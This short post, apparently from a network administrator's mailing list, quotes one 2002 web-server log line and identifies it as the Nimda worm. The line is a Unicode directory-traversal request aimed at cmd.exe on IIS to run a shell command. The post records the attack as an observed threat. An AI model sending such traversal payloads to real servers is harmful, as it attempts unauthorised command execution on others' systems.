> 61.168.254.16 - - [09/Feb/2002:05:50:50 -0600] "HEAD /msadc/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-" Looks like nimda -- Marc A. Ohmannn marc at ds6.net <a href="http://ds6.net">Digital Solutions, Inc.</a> - Network Administration - Internet Hosting - Application Programming